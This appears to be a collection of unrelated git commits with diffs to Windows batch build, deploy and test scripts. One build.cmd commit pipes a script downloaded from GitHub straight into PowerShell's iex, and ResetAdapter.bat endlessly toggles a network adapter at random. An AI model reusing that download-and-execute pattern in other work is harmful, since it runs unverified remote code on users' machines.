Editor full path on windows.

Editor full path on windows.

--- windows/env.bat
+++ windows/env.bat
@@ -14,15 +14,14 @@

 @echo off
 set ALTERNATE_EDITOR=emacs.exe
-set EDITOR=gvim.exe
+set EDITOR=c:\vim\gvim.exe
 set GYP_DEFINES=component=shared_library fastbuild=2 disable_nacl=1 disable_pnacl=1
 set GYP_GENERATORS=ninja
 set HOME=%USERPROFILE%
 set JAVA_HOME=%SYSTEMDRIVE%\java\jdk
 set GOPATH=%SYSTEMDRIVE%\src\go

-doskey e=start /b emacs.exe $*
-doskey v=start /b gvim.exe $*
+doskey e=start /b %EDITOR% $*

 if not "%PATH%" == "%PATH:depot_tools=%" (
   goto skip_path


cleaning up buildrelease.bat

cleaning up buildrelease.bat

--- scripts/buildRelease/buildRelease.bat
+++ scripts/buildRelease/buildRelease.bat
@@ -1,19 +1,14 @@
 @echo off
 SET SRCDIR=%~dp0
 set SRCDIR=%SRCDIR:~0,-22%
-echo %SRCDIR%
-pause
+
+
 set nugetfolder="%SRCDIR%\code\.nuget"
 set packageFolder="%SRCDIR%\code\packages"
 set msbuild="%windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
 set configuration=Release
 set msbuildtasksVersion=1.4.0.65

-echo Before creating a release, remember to...
-echo * Update release notes
-echo.
-pause
-echo.

 echo Installing msbuildtasks to %PackageFolder%. Please wait...
 %nugetFolder%\NuGet install MsBuildTasks -o %PackageFolder% -Version %msbuildtasksVersion%


also removed helloworld bat script

also removed helloworld bat script

--- advanced/standalone/src/main/distribution/shell-scripts/bin/runHelloWorld.bat
+++ advanced/standalone/src/main/distribution/shell-scripts/bin/runHelloWorld.bat
@@ -1,7 +0,0 @@
-rem starts a test java program. this can be used to test YAJSW
-rem start the program, note its pid (of the java app), call genConfig <pid>, call runConsole, ...
-
-cd %~dp0
-call setenv.bat
-%java_exe% -cp %wrapper_jar% test.HelloWorld
-pause


ENH: O2 options

ENH: O2 options

--- C/src/compile.bat
+++ C/src/compile.bat
@@ -1,3 +1,3 @@
-cl /LD bardell.c -o../lib/bardell.dll
-cl /LD bardell_12.c -o../lib/bardell_12.dll
-cl /LD bardell_functions.c -o../lib/bardell_functions.dll
+cl /O2 /LD bardell.c -o../lib/bardell.dll
+cl /O2 /LD bardell_12.c -o../lib/bardell_12.dll
+cl /O2 /LD bardell_functions.c -o../lib/bardell_functions.dll


chore: use latest npm on Windows (#178)

chore: use latest npm on Windows (#178)

--- .kokoro/test.bat
+++ .kokoro/test.bat
@@ -1,4 +1,4 @@
-@rem Copyright 2018 gRPC authors.
+@rem Copyright 2018 Google LLC. All rights reserved.
 @rem
 @rem Licensed under the Apache License, Version 2.0 (the "License");
 @rem you may not use this file except in compliance with the License.
@@ -17,8 +17,7 @@
 cd /d %~dp0
 cd ..

-call npm install -g npm@5 || goto :error
-
+call npm install -g npm@latest || goto :error
 call npm install || goto :error
 call npm run test || goto :error


Fixed it to deal with recent changes to the directory structure.

git-svn-id: 3ec853389310512053d525963cab269c063bb453@171433 13f79535-47bb-0310-9956-ffa450edef68

--- scripts/Win32/ccd.cmd
+++ scripts/Win32/ccd.cmd
@@ -8,13 +8,13 @@
 IF "%1"=="framework" GOTO CD_FRAMEWORK
 IF "%1"=="internal" GOTO CD_INTERNAL
 IF "%1"=="intl" GOTO CD_INTL
-IF "%1"=="intl" GOTO CD_INTLBUILD
 IF "%1"=="parsers" GOTO CD_PARSERS
 IF "%1"=="samples" GOTO CD_SAMPLES
 IF "%1"=="sax" GOTO CD_SAX
 IF "%1"=="scripts" GOTO CD_SCRIPTS
 IF "%1"=="src" GOTO CD_SRC
 IF "%1"=="tests" GOTO CD_TESTS
+IF "%1"=="tools" GOTO CD_TOOLS
 IF "%1"=="util" GOTO CD_UTIL

@@ -30,27 +30,23 @@
 GOTO EXIT

 :CD_DOM
-CD %XML4CRoot%\src\com\ibm\xml\dom
+CD %XML4CRoot%\src\dom
 GOTO EXIT

 :CD_FRAMEWORK
-CD %XML4CRoot%\src\com\ibm\xml\framework
+CD %XML4CRoot%\src\framework
 GOTO EXIT

 :CD_INTERNAL
-CD %XML4CRoot%\src\com\ibm\xml\internal
+CD %XML4CRoot%\src\internal
 GOTO EXIT

 :CD_INTL
 CD %XML4CRoot%\intlFiles
 GOTO EXIT

-:CD_INTLBUILD
-CD %XML4CRoot%\intlFiles\Build\Win32\VC6
-GOTO EXIT
-
 :CD_PARSERS
-CD %XML4CRoot%\src\com\ibm\xml\parsers
+CD %XML4CRoot%\src\parsers
 GOTO EXIT

 :CD_SAMPLES
@@ -70,11 +66,15 @@
 GOTO EXIT

 :CD_TESTS
-CD %XML4CRoot%\src\com\ibm\xml\util\tests
+CD %XML4CRoot%\tests
+GOTO EXIT
+
+:CD_TOOLS
+CD %XML4CRoot%\tools
 GOTO EXIT

 :CD_UTIL
-CD %XML4CRoot%\src\com\ibm\xml\util
+CD %XML4CRoot%\src\util
 GOTO EXIT

 :EXIT


Add batch file to run tests

Add batch file to run tests

error: pathspec 'scripts/run_tests.cmd' did not match any file(s) known to git

--- scripts/run_tests.cmd
+++ scripts/run_tests.cmd
@@ -0,0 +1,86 @@
+@echo off
+setlocal enabledelayedexpansion
+
+set version=
+for /f "tokens=2,3 delims=<>" %%a in ('type "%~dp0..\presentmon\presentmon.vcxproj" ^| findstr "<PresentMonVersion>"') do (
+    if "%%a"=="PresentMonVersion" set version=%%b
+)
+if "%version%"=="" (
+    echo FAIL: could not determine PresentMonVersion
+    @exit /b 1
+)
+
+echo Testing PresentMon %version%
+echo.
+
+set build_platforms=
+set build_platforms=%build_platforms% x86
+set build_platforms=%build_platforms% x64
+::set build_platforms=%build_platforms% arm
+::set build_platforms=%build_platforms% arm64
+
+set build_configs=
+set build_configs=%build_configs% debug
+set build_configs=%build_configs% release
+
+set exe_prefixes=
+set exe_prefixes=%exe_prefixes% 32
+set exe_prefixes=%exe_prefixes% 64
+::set exe_prefixes=%exe_prefixes% arm
+::set exe_prefixes=%exe_prefixes% arm64
+
+echo Building...
+for %%a in (%build_platforms%) do for %%b in (%build_configs%) do (
+    echo %%a-%%b
+    msbuild /nologo /verbosity:quiet /p:Platform=%%a,Configuration=%%b "%~dp0..\PresentMon.sln"
+    if not "!errorlevel!"=="0" (
+        echo FAIL
+        exit /b 1
+    )
+)
+
+echo.
+echo Checking generated files...
+set errorcount=0
+                               for %%b in (%build_configs%) do call :check_exist "%~dp0..\build\%%b\bin\PresentMonTests.exe"
+for %%a in (%exe_prefixes%) do for %%b in (%build_configs%) do call :check_pm "%~dp0..\build\%%b\bin\PresentMon%%a-%version%.exe"
+if not "%errorcount%"=="0" exit /b 1
+
+
+echo.
+echo Testing functionality...
+for %%a in (%exe_prefixes%) do for %%b in (%build_configs%) do call :gtests "%~dp0..\build\%%b\bin\PresentMon%%a-%version%.exe"
+echo.
+echo.
+if not "%errorcount%"=="0" (
+    echo FAIL
+    exit /b 1
+)
+
+echo PASS
+
+:check_exist
+    echo %~1
+    if not exist %1 (
+        echo Exe missing
+        set /a errorcount=%errorcount%+1
+    )
+    exit /b 1
+
+:check_pm
+    call :check_exist %1
+    set appver=
+    for /f "tokens=1,2" %%a in ('%1 --version 2^>^&1') do if "%%a"=="PresentMon" if not "%%b"=="requires" set appver=%%b
+    if "%appver%"=="development" set appver=dev
+    if not "%version%"=="%appver%" (
+        echo App and build disagree on version: %version% vs. %appver%
+        set /a errorcount=%errorcount%+1
+    )
+    exit /b 1
+
+:gtests
+    echo %~1
+    "%~dp0..\build\release\bin\PresentMonTests.exe" --presentmon=%1 --testdir="%~dp0..\tests\gold" --delete
+    if not "%errorlevel%"=="0" set /a errorcount=%errorcount%+1
+    echo.
+    exit /b 1


More verbosity

More verbosity

--- recipes/pythonfmu/bld.bat
+++ recipes/pythonfmu/bld.bat
@@ -1,10 +1,13 @@
+dir .
 mkdir tmp-build
 if errorlevel 1 exit 1
+dir .
 cd tmp-build
 if errorlevel 1 exit 1
-cmake ..\pythonfmu\pythonfmu-export --verbose -DPython3_EXECUTABLE:FILEPATH="%PYTHON%" -DCMAKE_BUILD_TYPE=Release
+dir .
+cmake ..\pythonfmu\pythonfmu-export --debug-output -DPython3_EXECUTABLE:FILEPATH="%PYTHON%" -DCMAKE_BUILD_TYPE=Release
 if errorlevel 1 exit 1
-cmake --build . --config Release
+cmake --build . --config Release --verbose
 if errorlevel 1 exit 1
 cd ..
 if errorlevel 1 exit 1


Added some double quotes around the processing of %TEMP% and %TMP%. #1267

--- msconfig/set_vars.bat
+++ msconfig/set_vars.bat
@@ -52,8 +52,8 @@
 set TEMP=%HOME%\TEMP
 REM Make the temporary directories we will be using if not present. This is
 REM to help out if in NMI multiple slots are building Condor at the same time.
-if not exist %TMP% mkdir %TMP%
-if not exist %TEMP% mkdir %TEMP%
+if not exist "%TMP%" mkdir "%TMP%"
+if not exist "%TEMP%" mkdir "%TEMP%"

 REM Specify symbol image path for debugging
 if "A%_NT_SYMBOL_PATH%"=="A" set _NT_SYMBOL_PATH=SRV*%SystemDrive%\Symbols*http://msdl.microsoft.com/download/symbols


add copy files for evpp

add copy files for evpp

Former-commit-id: 641e19751864e1c7793ad626f0206aab3b42f8d2
Former-commit-id: 3e83c3e0707edf8aaab8c5cd871719d3cf06edc6 [formerly 58288b9dd7f3615977080b7ed909d0427ef18331] [formerly 824f0a9048c5ce79f89fec6d0605a89d301b7dd7 [formerly 0d177c4de18cedad9746c5f6acc61626ee3bfdef]]
Former-commit-id: a91d4b3e7594befe2d1bdef3f0c9de77350cf725 [formerly 7c0d7373a6d659cc329ad0357ef5ab467e662dcd]
Former-commit-id: ea61ee01681e06282d93a8aac1f0e00aea939ab7
Former-commit-id: cc878581134c83919c3ddb364cb6e15ef3654e3b

--- Dep/build_dep.bat
+++ Dep/build_dep.bat
@@ -67,6 +67,9 @@
 cd vsprojects
 "%VS140COMNTOOLS%..\IDE\Devenv" libevpp.sln /build "Debug|x64" /project libevpp.vcxproj
 "%VS140COMNTOOLS%..\IDE\Devenv" libevpp.sln /build "Release|x64" /project libevpp.vcxproj
+copy x64\Debug\*.lib ..\..\lib\Debug /Y
+copy x64\Release\*.lib ..\..\lib\Release /Y
+
 cd ..\..\
 REM ####################################################################################################
 REM back to root dir


Updating the deployment script with new folder structure.

--- DeployToNuget.bat
+++ DeployToNuget.bat
@@ -1,26 +1,31 @@
 @ECHO OFF

-IF "%1"=="" (
-	GOTO Blank
-) ELSE (
-	SET project=%1
-	GOTO Specific
-)
+REM Update Nuget
+REM ============
+nuget.exe update -self

-:Blank
-SET project=Bumblebee
-GOTO Specific
-
-:Specific
-nuget.exe update -self
+REM Delete Any Artifacts
+REM ====================
+cd build
 ECHO Y | DEL *.nupkg

+REM Build the Release Project
+REM =========================
+cd ..
+
+REM Requests the API Key
+REM ====================
 SET /p NuGetApiKey= Please enter the project's NuGet API Key:
 nuget.exe setApiKey %NuGetApiKey%

-SET package="%project%\%project%.csproj"
+SET package="src\Bumblebee.KendoUI\Bumblebee.KendoUI.csproj"

+REM Create the Package
+REM ==================
 ECHO "Packing/Pushing project found here:  %package%."
-nuget.exe pack %package%
+nuget.exe pack -OutputDirectory build %package% -Prop Configuration=Release

+REM Push to Nuget
+REM =============
+cd build
 nuget.exe push *.nupkg


Bunp version number

Bunp version number

--- NightlyBuild.cmd
+++ NightlyBuild.cmd
@@ -19,8 +19,8 @@
 :main
 setlocal

-set BuildAssemblyVersion=1.0.0.12
-set BuildSemanticVersion=1.0.0-alpha-build0012
+set BuildAssemblyVersion=1.0.0.13
+set BuildSemanticVersion=1.0.0-alpha-build0013

 echo Building version %BuildSemanticVersion% NuGet packages.
 echo WARNING: Some source files will be modified during this build.


Added Windows install batch file

Added Windows install batch file

error: pathspec 'install_win.bat' did not match any file(s) known to git

--- install_win.bat
+++ install_win.bat
@@ -0,0 +1,2 @@
+copy /y vimrc ..\_vimrc
+copy /y gvimrc ..\_gvimrc


fixing typo in autotuning demo

fixing typo in autotuning demo

--- demo/autotuning-compiler-flags-susan-mingw/autotune_program_pipeline_i10_apply_pareto.bat
+++ demo/autotuning-compiler-flags-susan-mingw/autotune_program_pipeline_i10_apply_pareto.bat
@@ -1,3 +1,3 @@
-rem call ck rm experiment:demo-autotune-flags-susan-mingw-i10-pareto
-rem call ck cp experiment:demo-autotune-flags-susan-mingw-i10 :demo-autotune-flags-susan-mingw-i10-pareto
+call ck rm experiment:demo-autotune-flags-susan-mingw-i10-pareto
+call ck cp experiment:demo-autotune-flags-susan-mingw-i10 :demo-autotune-flags-susan-mingw-i10-pareto
 call ck autotune pipeline:program pipeline_from_file=_setup_program_pipeline_tmp.json @autotune_program_pipeline_i10_apply_pareto.json %*


Create ResetAdapter.bat

Create ResetAdapter.bat

error: pathspec 'ResetAdapter.bat' did not match any file(s) known to git

--- ResetAdapter.bat
+++ ResetAdapter.bat
@@ -0,0 +1,16 @@
+@echo off
+IF "%1"=="" goto missingadaptername
+IF [%2]==[] (
+set /a throttlelimit=2
+)
+:loop
+set /a num=%random% * 100 / 32768 + 1
+IF %num% LSS %throttlelimit% (
+echo "Resetting adapter %1..."
+wmic path win32_networkadapter where NetConnectionId="%1" call disable > nul
+wmic path win32_networkadapter where NetConnectionId="%1" call enable >nul
+timeout /t 10 >nul
+)
+goto loop
+:missingadaptername
+echo "Adapter Name Missing!!!"


* missed change

* missed change

git-svn-id: 8286f1aa0849172a171b18e797a5983a17159a76@134 699b1267-f50e-4533-8e1b-323e5631ef88

--- Scripts/Tools/ToolAdaptors/totalcmd/configure.bat
+++ Scripts/Tools/ToolAdaptors/totalcmd/configure.bat
@@ -37,6 +37,7 @@
 call :XCOPY_FILE "%%CONTOOLS_ROOT%%" "get_filesize.bat" "%%CONTOOLS_ROOT_COPY%%" /Y /D /H || goto :EOF
 call :XCOPY_FILE "%%CONTOOLS_ROOT%%" "reduce_relative_path.bat" "%%CONTOOLS_ROOT_COPY%%" /Y /D /H || goto :EOF
 call :XCOPY_FILE "%%CONTOOLS_ROOT%%" "subtract_path.bat" "%%CONTOOLS_ROOT_COPY%%" /Y /D /H || goto :EOF
+call :XCOPY_FILE "%%CONTOOLS_ROOT%%" "subtract_relative_path.bat" "%%CONTOOLS_ROOT_COPY%%" /Y /D /H || goto :EOF
 call :XCOPY_FILE "%%CONTOOLS_ROOT%%" "split_pathstr.bat" "%%CONTOOLS_ROOT_COPY%%" /Y /D /H || goto :EOF
 call :XCOPY_FILE "%%CONTOOLS_ROOT%%" "strlen.bat" "%%CONTOOLS_ROOT_COPY%%" /Y /D /H || goto :EOF

@@ -48,7 +49,7 @@
 call :XCOPY_FILE "%%SVNCMD_TOOLS_ROOT%%" "svn_has_changes.bat" "%%CONTOOLS_ROOT_COPY%%/scm/svn" /Y /D /H || goto :EOF
 call :XCOPY_FILE "%%SVNCMD_TOOLS_ROOT%%" "extract_info_param.bat" "%%CONTOOLS_ROOT_COPY%%/scm/svn" /Y /D /H || goto :EOF
 call :XCOPY_FILE "%%SVNCMD_TOOLS_ROOT%%" "gen_externals_list_from_pget.bat" "%%CONTOOLS_ROOT_COPY%%/scm/svn" /Y /D /H || goto :EOF
-rem call :XCOPY_FILE "%%SVNCMD_TOOLS_ROOT%%" "svn_externals_list.bat" "%%CONTOOLS_ROOT_COPY%%/scm/svn" /Y /D /H || goto :EOF
+call :XCOPY_FILE "%%SVNCMD_TOOLS_ROOT%%" "svn_externals_list.bat" "%%CONTOOLS_ROOT_COPY%%/scm/svn" /Y /D /H || goto :EOF

 call :XCOPY_DIR "%%GNUWIN32_ROOT%%" "%%CONTOOLS_ROOT_COPY%%/sqlite" /E /Y /D || goto :EOF


Re-ordered and added Intellij

Re-ordered and added Intellij

--- windows/configureNewPc.bat
+++ windows/configureNewPc.bat
@@ -5,13 +5,15 @@

 echo Installing developer tools
 choco install -y git
+choco install -y sourcetree
 choco install -y atom
 choco install -y notepadplusplus.install

+choco install -Y jdk8
+choco install -y nodejs.install
+
+choco install -y intellijidea-community
+
 choco install -y virtualbox
 choco install -y vagrant
-
-choco install -y nodejs.install
-
-choco install -y sourcetree


Update RingAllegro - buildvc.bat - use Allegro 5.2.4

--- extensions/ringallegro/buildvc.bat
+++ extensions/ringallegro/buildvc.bat
@@ -1 +1 @@
-buildvc_allegro5.1.11.bat+buildvc_allegro5.2.4.bat


now in scripts dir

now in scripts dir

--- test/scripts/timeseries.cmd
+++ test/scripts/timeseries.cmd
@@ -1,9 +0,0 @@
-cate ws del --yes
-cate ws new
-cate res read X test/ui/precip_and_temp.nc
-cate res set Y tseries_point ds=X lat=0 lon=0
-cate --traceback res plot Y -v temperature
-cate ws save
-cate ws close
-
-


build: Run SDV with WDK 1809 and VS 2017

SDV of WDK 1809 is changed and first expected parameter
for 'check' flow should be '/check'.
The SDV build using WDK 1809 crashes during check of NetKVM,
without producing suitable logs, this will be investigated
later with Microsoft. For now in order to have SDV and DVL
logs we run the SDV in legacy mode (similar to older WDK),
when all the tests of SDV pass.

Signed-off-by: Yuri Benditovich <9668326cb042de5d91fd7679dac7ca5ea402812c@daynix.com>

--- Tools/build.bat
+++ Tools/build.bat
@@ -179,6 +179,8 @@
 goto :eof

 :runsdv
+set SDVLEGACY=1
+call "%~dp0\SetVsEnv.bat" x64
 msbuild.exe %BUILD_FILE% /t:clean /p:Configuration="%~1" /P:Platform=%2

 IF ERRORLEVEL 1 (
@@ -197,7 +199,7 @@
   set BUILD_FAILED=1
 )

-msbuild.exe %BUILD_FILE% /t:sdv /p:inputs="/devenv /check" /p:Configuration="%~1" /P:platform=%2
+msbuild.exe %BUILD_FILE% /t:sdv /p:inputs="/check /devenv" /p:Configuration="%~1" /P:platform=%2

 IF ERRORLEVEL 1 (
   set BUILD_FAILED=1


fix release script

fix release script

--- javamelody-release.cmd
+++ javamelody-release.cmd
@@ -55,6 +55,8 @@
 call mvn clean || exit /B
 if /I NOT "%dryRun%" == "true" (
 call mvn release:prepare release:perform -Dtag=javamelody-core-%releaseVersion% -DreleaseVersion=%releaseVersion% -DdevelopmentVersion=%developmentVersion% || exit /B
+call mvn versions:set -DgenerateBackupPoms=false -DnewVersion=%releaseVersion% || exit /B
+call mvn source:jar javadoc:jar -DskipTests || exit /B
 ) else (
 call mvn versions:set -DgenerateBackupPoms=false -DnewVersion=%releaseVersion% || exit /B
 call mvn install source:jar javadoc:jar -DskipTests || exit /B


Updating to use iexplorer to see if it is better.

git-svn-id: 43d0227a98a9c587d2c203fc99bf6e9aa64a69fb@1352 7ee224fa-57ca-4419-87f9-1f4314938d77

--- tests/runJsTestDriverMSWindows.bat
+++ tests/runJsTestDriverMSWindows.bat
@@ -1,2 +1,2 @@
 cd trunk\tests
-java -jar library\JsTestDriver-1.2.2.jar --port 4224 --browser "C:\Program Files\Mozilla Firefox\Firefox.exe -P development -console" --tests all --testOutput .\coverage+java -jar library\JsTestDriver-1.2.2.jar --port 4224 --browser "C:\Program Files\Internet Explorer\iexplore.exe" --tests all --testOutput .\coverage


Production scripts for AppVeyor build

Production scripts for AppVeyor build

--- ProductionTools/AppVeyor/build.cmd
+++ ProductionTools/AppVeyor/build.cmd
@@ -1,5 +1,5 @@
 @setlocal
-msbuild StaMa.sln /t:Clean,Build /p:Configuration=Release /p:Platform="Any CPU"
-msbuild StaMaNETMF.sln /t:Clean,Build /p:Configuration=Release /p:Platform="Any CPU"
-msbuild DevelopersGuide\StaMaDevelopersGuide.shfbproj /t:Clean,Build /p:Configuration=Release /p:Platform="AnyCPU"
+msbuild StaMa.sln /t:Clean,Build /p:Configuration=Debug /p:Platform="Any CPU"
+msbuild StaMaNETMF.sln /t:Clean,Build /p:Configuration=Debug /p:Platform="Any CPU"
+msbuild DevelopersGuide\StaMaDevelopersGuide.shfbproj /t:Clean,Build /p:Configuration=Debug /p:Platform="AnyCPU"
 @endlocal


add missing space to log message

add missing space to log message

--- resources/stage_5_patch/stage_5_patch.bat
+++ resources/stage_5_patch/stage_5_patch.bat
@@ -49,7 +49,7 @@

 :: Prep task: check for skip patches (-sp) flag or variable and skip if used
 if /i %SKIP_PATCHES%==yes (
-	call functions\log.bat "%CUR_DATE% %TIME% ! SKIP_PATCHES (-sp) set. Skipping app patches."
+	call functions\log.bat "%CUR_DATE% %TIME% !  SKIP_PATCHES (-sp) set. Skipping app patches."
 	goto skip_patches
 )


Windows script to start modbus

Windows script to start modbus

error: pathspec 'modbus/staging/bin/start.bat' did not match any file(s) known to git

--- modbus/staging/bin/start.bat
+++ modbus/staging/bin/start.bat
@@ -0,0 +1,30 @@
+@echo off
+
+if "%OS%" == "Windows_NT" setlocal
+
+if NOT DEFINED JAVA_HOME goto :err
+
+REM Ensure that any user defined CLASSPATH variables are not used on startup
+set CLASSPATH=
+
+REM For each jar in the lib directory call append to build the CLASSPATH variable.
+for %%i in ("..\conf\*.*") do call :append "%%i"
+for %%j in ("..\lib\*.jar") do call :append "%%j"
+
+goto runModbus
+
+:append
+set CLASSPATH=%CLASSPATH%;%1
+goto :eof
+
+:runModbus
+"%JAVA_HOME%\bin\java" -cp %CLASSPATH% gov.nrel.modbusclient.ModBusClient ../conf/meters.csv ../conf/ModBusClient.properties ../conf/meterModel.json
+goto finally
+
+:err
+echo The JAVA_HOME environment variable must be set to run this program!
+pause
+
+:finally
+
+ENDLOCAL


Add build.bat for watchify-based build convenience.

Signed-off-by: suicidepills <7afc318999709d81327fbf847cf4b7fdca875e63@gmail.com>

error: pathspec 'build.bat' did not match any file(s) known to git

--- build.bat
+++ build.bat
@@ -0,0 +1 @@
+watchify ./js/app.js -o ./js/bundle.js


streamline build (a bit)

streamline build (a bit)

--- build.bat
+++ build.bat
@@ -3,9 +3,7 @@
 py -2 setup.py test
 py -3 setup.py test
 py -2 setup.py sdist
-py -2 setup.py bdist_wininst --plat-name=win32
-py -2 setup.py bdist_wheel --plat-name=win32
+py -2 setup.py bdist_wininst bdist_wheel --plat-name=win32
 py -2 setup.py bdist_wheel --plat-name=win-amd64
-py -3 setup.py bdist_wininst --plat-name=win32
-py -3 setup.py bdist_wheel --plat-name=win32
+py -3 setup.py bdist_wininst bdist_wheel --plat-name=win32
 py -3 setup.py bdist_wheel --plat-name=win-amd64


Add a MyGet build script.

Add a MyGet build script.

--- build.bat
+++ build.bat
@@ -0,0 +1,17 @@
+@echo Off
+set config=%1
+if "%config%" == "" (
+   set config=Release
+)
+
+set version=
+if not "%PackageVersion%" == "" (
+   set version=-Version %PackageVersion%
+)
+
+REM Build
+msbuild AW.Model.RWX.sln /p:Configuration="%config%" /m /v:M /fl /flp:LogFile=msbuild.log;Verbosity=Normal /nr:false
+
+REM Package
+mkdir Build
+cmd /c %nuget% pack "Bloyteg.AW.Model.RWX\Bloyteg.AW.Model.RWX.fsproj" -symbols -o Build -p Configuration=%config% %version% -IncludeReferencedProjects


Rename project in build.bat

Rename project in build.bat

--- build.bat
+++ build.bat
@@ -3,9 +3,9 @@

 mkdir build\nuget
-nuget pack -Symbols src\Knapsack\Knapsack.csproj -OutputDirectory build\nuget
+nuget pack -Symbols src\Cassette\Cassette.csproj -OutputDirectory build\nuget

 mkdir build\shell
-msbuild /p:Configuration=Release src\Knapsack.Shell\Knapsack.Shell.csproj
-tools\ilrepack.exe /out:build\shell\knapsack.exe src\Knapsack.Shell\bin\Release\Knapsack.Shell.exe src\Knapsack\bin\Release\Knapsack.dll src\Knapsack\bin\Release\AjaxMin.dll src\Knapsack\bin\Release\Jurassic.dll+msbuild /p:Configuration=Release src\Cassette.Shell\Cassette.Shell.csproj
+tools\ilrepack.exe /out:build\shell\cassette.exe src\Cassette.Shell\bin\Release\Cassette.Shell.exe src\Cassette\bin\Release\Cassette.dll src\Cassette\bin\Release\AjaxMin.dll src\Cassette\bin\Release\Jurassic.dll


Nuget restore

Nuget restore

--- build.bat
+++ build.bat
@@ -10,6 +10,7 @@
 )

 REM Build
+%nuget% restore Source\PhpParser.sln
 "%msbuildexe%" Source\PhpParser.sln /p:Configuration="%config%" /p:SkipAfterBuild="true" /m /v:M /fl /flp:LogFile=msbuild.log;Verbosity=Normal /nr:false
 if not "%errorlevel%"=="0" goto failure


build batch

build batch

--- build.bat
+++ build.bat
@@ -0,0 +1,3 @@
+dotnet build -o .\bin\452 -f net452 .\src\BE.FluentGuard\BE.FluentGuard.csproj
+dotnet build -o .\bin\461 -f net461 .\src\BE.FluentGuard\BE.FluentGuard.csproj
+dotnet build -o .\bin\462 -f net462 .\src\BE.FluentGuard\BE.FluentGuard.csproj


appveyor build script

appveyor build script

error: pathspec 'build.cmd' did not match any file(s) known to git

--- build.cmd
+++ build.cmd
@@ -0,0 +1,3 @@
+set GOPATH=%BuildFolder%
+go get -v ./...
+go test -v ./...


Properly check for special test/package targets in build.cmd to force build of library first.

--- build.cmd
+++ build.cmd
@@ -16,10 +16,10 @@
 :: we need to break the dependency chain
 :: this ensures we do a build before running any tests

-if TARGET=="Default" (SET RunBuild=1)
-if TARGET=="RunUnitTests" (SET RunBuild=1)
-if TARGET=="RunIntegrationTests" (SET RunBuild=1)
-if TARGET=="CreatePackages" (SET RunBuild=1)
+if %TARGET%=="Default" (SET RunBuild=1)
+if %TARGET%=="RunUnitTests" (SET RunBuild=1)
+if %TARGET%=="RunIntegrationTests" (SET RunBuild=1)
+if %TARGET%=="CreatePackages" (SET RunBuild=1)

 if NOT "%RunBuild%"=="" (
 "tools\FAKE.Core\tools\Fake.exe" "build.fsx" "target=BuildApp" "buildMode=%BUILDMODE%"


batch files suck

batch files suck

--- build.cmd
+++ build.cmd
@@ -1,20 +1,23 @@
 @echo off

 pushd %~dp0
+set "KRE_NUGET_API_URL=https://www.nuget.org/api/v2"
+setlocal EnableDelayedExpansion
 where kvm
-
-if %errorlevel% neq 0 (
-    set "KRE_NUGET_API_URL=https://www.nuget.org/api/v2"
+if %ERRORLEVEL% neq 0 (
     @powershell -NoProfile -ExecutionPolicy unrestricted -Command "iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/aspnet/Home/master/kvminstall.ps1'))"
-
-    set PATH=%PATH%;%userprofile%\.k\bin
-    set KRE_HOME=%USERPROFILE%\.k
+    set PATH=!PATH!;!userprofile!\.k\bin
+    set KRE_HOME=!USERPROFILE!\.k
+    goto install
 )

+:install
+echo "here"
 call kvm install 1.0.0-beta3
 call kvm use 1.0.0-beta3
 rem set the runtime path because the above commands set \.k<space>\runtimes
-set PATH=%USERPROFILE%\.k\runtimes\kre-clr-win-x86.1.0.0-beta3\bin;%PATH%
+set PATH=!USERPROFILE!\.k\runtimes\kre-clr-win-x86.1.0.0-beta3\bin;!PATH!
+
 call kpm restore
 if %errorlevel% neq 0 exit /b %errorlevel%
 cd tests\OmniSharp.Tests


Enable pinning build script

Enable pinning build script

--- build.cmd
+++ build.cmd
@@ -3,6 +3,8 @@

 SETLOCAL
 SET CACHED_NUGET=%LocalAppData%\NuGet\NuGet.exe
+SET BUILDCMD_KOREBUILD_VERSION=""
+SET BUILDCMD_DNX_VERSION=""

 IF EXIST %CACHED_NUGET% goto copynuget
 echo Downloading latest version of NuGet.exe...
@@ -16,13 +18,21 @@

 :restore
 IF EXIST packages\KoreBuild goto run
-.nuget\NuGet.exe install KoreBuild -ExcludeVersion -o packages -nocache -pre
+IF %BUILDCMD_KOREBUILD_VERSION%=="" (
+	.nuget\NuGet.exe install KoreBuild -ExcludeVersion -o packages -nocache -pre
+) ELSE (
+	.nuget\NuGet.exe install KoreBuild -version %BUILDCMD_KOREBUILD_VERSION% -ExcludeVersion -o packages -nocache -pre
+)
 .nuget\NuGet.exe install Sake -version 0.2 -o packages -ExcludeVersion

 IF "%SKIP_DNX_INSTALL%"=="1" goto run
-CALL packages\KoreBuild\build\dnvm upgrade -runtime CLR -arch x86
+IF %BUILDCMD_DNX_VERSION%=="" (
+	CALL packages\KoreBuild\build\dnvm upgrade -runtime CLR -arch x86
+) ELSE (
+	CALL packages\KoreBuild\build\dnvm install %BUILDCMD_DNX_VERSION% -runtime CLR -arch x86 -a default
+)
 CALL packages\KoreBuild\build\dnvm install default -runtime CoreCLR -arch x86

 :run
 CALL packages\KoreBuild\build\dnvm use default -runtime CLR -arch x86
-packages\Sake\tools\Sake.exe -I packages\KoreBuild\build -f makefile.shade %*
+packages\Sake\tools\Sake.exe -I packages\KoreBuild\build -f makefile.shade %*


батник для быстрого билда

батник для быстрого билда

--- build.cmd
+++ build.cmd
@@ -0,0 +1,8 @@
+@echo off
+set dotNetBasePath=%windir%\Microsoft.NET\Framework
+if exist %dotNetBasePath%64 set dotNetBasePath=%dotNetBasePath%64
+for /R %dotNetBasePath% %%i in (*msbuild.exe) do set msbuild=%%i
+
+set target=Simple1C.sln
+
+%msbuild% /t:Rebuild /v:m /p:Configuration=Release %target% || exit /b 1


Switch to NuGet.exe v3

Switch to NuGet.exe v3

--- build.cmd
+++ build.cmd
@@ -18,9 +18,9 @@
 if not exist "%~dp0packages" mkdir "%~dp0packages"
 if not exist "%NUGETEXEPATH%" (
     :: This will need to be fixed for non-windows
-    echo ** Downloading NuGet.exe from https://nuget.org/NuGet.exe...
-    echo PS^> Invoke-WebRequest -OutFile %NUGETEXEPATH% "https://nuget.org/NuGet.exe"
-    powershell -Command "Invoke-WebRequest -OutFile %NUGETEXEPATH% "https://nuget.org/NuGet.exe""
+    echo ** Downloading NuGet.exe from https://dist.nuget.org/win-x86-commandline/v3.2.0-rc/nuget.exe...
+    echo PS^> Invoke-WebRequest -OutFile %NUGETEXEPATH% "https://dist.nuget.org/win-x86-commandline/v3.2.0-rc/nuget.exe"
+    powershell -Command "Invoke-WebRequest -OutFile %NUGETEXEPATH% "https://dist.nuget.org/win-x86-commandline/v3.2.0-rc/nuget.exe""
 )

 echo Restoring NuGet packages


Do not use deprecated `dnvm -x86` switch
